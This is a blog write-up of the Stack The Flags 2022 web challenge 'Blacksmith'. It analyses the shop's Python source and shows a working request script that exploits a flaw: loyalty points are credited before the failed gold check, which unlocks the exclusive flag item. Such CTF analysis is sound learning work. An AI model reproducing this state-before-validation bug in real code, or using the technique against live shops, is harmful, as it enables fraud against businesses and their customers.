Skip to main content
  1. My Blog Posts and Stories/

STF 2022 Web: Blacksmith

··1398 words·7 mins

Recently, I participated with 3 other players in the Stack The Flags 2022 CTF. This is for the writeup of the Web challenge Blacksmith.

Thank challenge is solved by Yi Kai during the course of the CTF. I am solving this challenge after the CTF has ended based on the explanation given by Yi Kai.

Exploring the challenge #

The challenge provides us with the source code. You can get the source code here.

As a start, I visited the URL which contained the challenge.

Homepage
Homepage of the website

It just shows a simple array with 2 objects inside of it, a flag sword and a broken sword.

Not knowing what to do, I delved into the source code to see what I could find.

Exploring the source code. #

I started by looking at the main.py file. In summary, the code has the endpoints given in the table below.

NoEndpointDescription
1/customer/newRegister a new customer and shows the UID of the customer.
2/battleJoins a battle and prints if you win or lose.
3/Shows the items in the shop which we can buy using the money we have.
4/buyAllows us to buy items from the shop.

During the competition, I stared at the source code for a very long time and could not seem to figure out what was wrong with the code. After the update given by Yi Kai that the buy endpoint was adding loyalty points before purchase. I then reviewed the code after the competition again.

The source code was very large, so I will only be showing the important parts of the code.

Weapon = namedtuple("Weapon", ["name", "price", "loyalty_points"])
RestrictedLoyalty = namedtuple("RestrictedLoyalty", ["fame", "point_history"])

SHOP = {
    "customers": [],
    "inventory": {
        "regular": (
            Weapon("brokensword", 5, 0),
            Weapon("woodensword", 5, 1),
            Weapon("stonesword", 10, 2),
            Weapon("ironsword", 50, 10),
            Weapon("goldsword", 100, 20),
            Weapon("diamondsword", 500, 100),
        ),
        "exclusive": (Weapon("flagsword", 5, 0),),
    },
}

...

@dataclass
class Customer:
    id: str
    gold: int
    loyalty: Loyalty | RestrictedLoyalty

    @property
    def tier(self):
        if (self.loyalty.fame + sum(self.loyalty.point_history)) > 1337:
            return "exclusive"
        return "regular"

    @staticmethod
    def index_from_id(id):
        for idx, customer in enumerate(SHOP["customers"]):
            if customer.id == id:
                return idx
        return None

...

@app.get("/customer/new")
def register():
    if LOYALTY_SYSTEM_ACTIVE:
        customer = Customer(id=uuid4().hex, gold=5, loyalty=Loyalty(1, []))
    else:
        # Ensure loyalty immutable
        customer = Customer(
            id=uuid4().hex, gold=5, loyalty=RestrictedLoyalty(1, [])
        )

    SHOP["customers"].append(customer)

    return {"id": customer.id}

...

@app.get("/buy")
def buy_item(customer_id="", items: list[str] | None = Query(default=[])):
    customer_idx = Customer.index_from_id(customer_id)

    #Handling irrelevant edge cases
    ...

    match SHOP["customers"][customer_idx].tier:
        case "regular":
            get_weapon = partial(
                weapon_from_name, SHOP["inventory"]["regular"]
            )
        case "exclusive":
            get_weapon = partial(
                weapon_from_name,
                [
                    *SHOP["inventory"]["regular"],
                    *SHOP["inventory"]["exclusive"],
                ],
            )
        case _:
            raise HTTPException(status_code=500)

    cart = []
    for item in items:
        weapon = get_weapon(item)
        if weapon is None:
            raise HTTPException(status_code=404)
        cart.append(weapon)

    total_price = 0
    point_history = []
    for item in cart:
        if item.price > SHOP["customers"][customer_idx].gold:
            raise HTTPException(status_code=403)
        total_price += item.price
        if item.loyalty_points > 0:
            point_history += [item.loyalty_points]

    try:
        if len(point_history) > 0:
            SHOP["customers"][
                customer_idx
            ].loyalty.point_history += point_history
        if SHOP["customers"][customer_idx].gold < total_price:
            raise HTTPException(status_code=403)
        SHOP["customers"][customer_idx].gold -= total_price
    except:
        raise HTTPException(status_code=403)

    if "flagsword" in [weapon.name for weapon in cart]:
        return {"purchased": FLAG}

    return {"purchased": cart}

This is the whole source code for the buy function. Let us go through what it does step by step.

What items do we get to buy. #


LOYALTY_SYSTEM_ACTIVE = False
RestrictedLoyalty = namedtuple("RestrictedLoyalty", ["fame", "point_history"])

...

@dataclass
class Customer:
    id: str
    gold: int
    loyalty: Loyalty | RestrictedLoyalty

    @property
    def tier(self):
        if (self.loyalty.fame + sum(self.loyalty.point_history)) > 1337:
            return "exclusive"
        return "regular"

    @staticmethod
    def index_from_id(id):
        for idx, customer in enumerate(SHOP["customers"]):
            if customer.id == id:
                return idx
        return None

...

@app.get("/customer/new")
def register():
    if LOYALTY_SYSTEM_ACTIVE:
        customer = Customer(id=uuid4().hex, gold=5, loyalty=Loyalty(1, []))
    else:
        # Ensure loyalty immutable
        customer = Customer(
            id=uuid4().hex, gold=5, loyalty=RestrictedLoyalty(1, [])
        )

...
    match SHOP["customers"][customer_idx].tier:
        case "regular":
            get_weapon = partial(
                weapon_from_name, SHOP["inventory"]["regular"]
            )
        case "exclusive":
            get_weapon = partial(
                weapon_from_name,
                [
                    *SHOP["inventory"]["regular"],
                    *SHOP["inventory"]["exclusive"],
                ],
            )
        case _:
            raise HTTPException(status_code=500)
...

First, the code handles what type of shop a customer gets to see. It is based on the tier of the customer.

From the code, we can see that the tier of the customer is based on the fame and point_history of the customer and within the registration api, we can see that we have a fixed loyalty of 1 and an empty point_history.

As a result, the tier of the customer will always be regular.

Under normal circumstances, we will only get to buy items from the regular inventory.

Adding each item up #


    cart = []
    for item in items:
        weapon = get_weapon(item)
        if weapon is None:
            raise HTTPException(status_code=404)
        cart.append(weapon)

For each item that we pass to the url parameter items, we will get the weapon object from the get_weapon function. These items are then added to the cart.

Checking if we have enough money #

This is part of 2 checks to see if we have enough money.

    total_price = 0
    point_history = []
    for item in cart:
        if item.price > SHOP["customers"][customer_idx].gold:
            raise HTTPException(status_code=403)
        total_price += item.price
        if item.loyalty_points > 0:
            point_history += [item.loyalty_points]

This section of the code checks that the amount of gold we have is more than the price of each individual item within the cart.

If we attempted to get any item which costs more than the amount of gold we have, we will get a 403 error.

It also stores the loyalty_points of each item in the cart into the point_history list.

Final Section #

    try:
        if len(point_history) > 0:
            SHOP["customers"][
                customer_idx
            ].loyalty.point_history += point_history
        if SHOP["customers"][customer_idx].gold < total_price:
            raise HTTPException(status_code=403)
        SHOP["customers"][customer_idx].gold -= total_price
    except:
        raise HTTPException(status_code=403)

    if "flagsword" in [weapon.name for weapon in cart]:
        return {"purchased": FLAG}

    return {"purchased": cart}

This is the final section of the code. It checks if our point_history is more than 0, if it is, it will add the loyalty points accumulated to the customer.

After that, it will check if all the items in the cart costs more than the amount of gold we have. If so, it will raise a 403 error.

Finally, it will subtract the total price of all the items in the cart from the amount of gold we have.

If we managed to get the flagsword in our cart, we will get the flag.

Solving the challenge #

From what we have, our goal is to get enough point to get the exclusive tier and get the flagsword from the exclusive inventory.

As the flagsword costs 5 gold, we should not use up any of the gold we have.

From the final section of the code, we can see that the point_history is added to the customer’s point_history before the check for the total amount of gold. This means that the loyalty point is added to the customer’s point_history even if we do not have enough gold to buy the item.

This means that we can get the exclusive tier by getting 1337 points without spending any gold as the transaction will be cancelled in the end anyways.

We can then get the flagsword by getting the flagsword from the exclusive inventory.

Now, we just have to look for a weapon we can buy that gives us loyalty points.

SHOP = {
    "customers": [],
    "inventory": {
        "regular": (
            Weapon("brokensword", 5, 0),
            Weapon("woodensword", 5, 1),
            Weapon("stonesword", 10, 2),
            Weapon("ironsword", 50, 10),
            Weapon("goldsword", 100, 20),
            Weapon("diamondsword", 500, 100),
        ),
        "exclusive": (Weapon("flagsword", 5, 0),),
    },
}

Looking at the shop section, we can get woodensword from the regular inventory which gives us 1 loyalty point. Although we are not able to see it from the homepage, we can still get it from the /customer/{customer_id}/buy?items=woodensword endpoint as it is part of the regular shop which is accessible to us.

With that, we can start crafting our payload.

import requests

BASE_URL = 'http://localhost:8000'

def buy_item(session, customer_id, item):
    return session.get(
        BASE_URL + '/buy',
        params={
            'customer_id': customer_id,
            'items': item
            }
    )

with requests.Session() as session:
    resp = session.get(BASE_URL + '/customer/new')
    customer_id = resp.json()['id']
    print(f"{customer_id}")


    for _ in range(1337 // 2 + 1):
        buy_item(session, customer_id, ['woodensword', 'woodensword'])

    resp2 = buy_item(session, customer_id, 'flagsword')

    print(resp2.json())

This is the final script that we can use to buy the flagsword. It buys 1337*2 wooden swords and then buys the flagsword and returns the output

By running the program, we get the following:

Flag
Flag

Flag:

STF22{y0u_b0ught_4_v3ry_3xcLu51v3_sw0rd_w3LL_d0n3_31337}

Conclusion #

Tiny programming errors in this case, had lead to some “dire” consequences.

This is also applicable to real life where are there might be some hot fixes which lead to some unintended consequences like this one.